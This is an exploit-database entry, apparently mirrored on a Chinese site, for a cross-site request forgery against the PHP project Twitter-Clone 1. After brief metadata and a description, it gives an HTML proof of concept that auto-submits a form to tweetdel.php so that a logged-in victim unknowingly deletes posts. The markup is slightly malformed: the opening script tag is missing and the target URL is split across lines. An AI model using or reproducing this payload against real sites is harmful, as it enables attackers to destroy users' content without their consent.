发布 2018-08-21 漏洞条目

Twitter-Clone 1 – Cross-Site Request Forgery (Delete Post)

Exploit Source

# Exploit Title: Twitter-Clone 1 - Cross-Site Request Forgery (Delete Post)

# Date: 2018-08-21

# Exploit Author: L0RD

# Vendor Homepage: https://github.com/Fyffe/PHP-Twitter-Clone/

# Version: 1

# CVE: N/A

# Tested on: Win 10

# Description :

# An issue was discovered in Twitter-Clone 1 which allows a remote

# attacker to force any victim to delete posts.

# POC :

# Delete posts exploit :

<html>

<head>

</head>

<body>

<form action='http://127.0.0.1/clone/twitter-clone/tweetdel.php?id="set

tweet id here of any post' method='post'>

</form>

document.forms[0].submit();

</script>

</body>

</html>

相关漏洞条目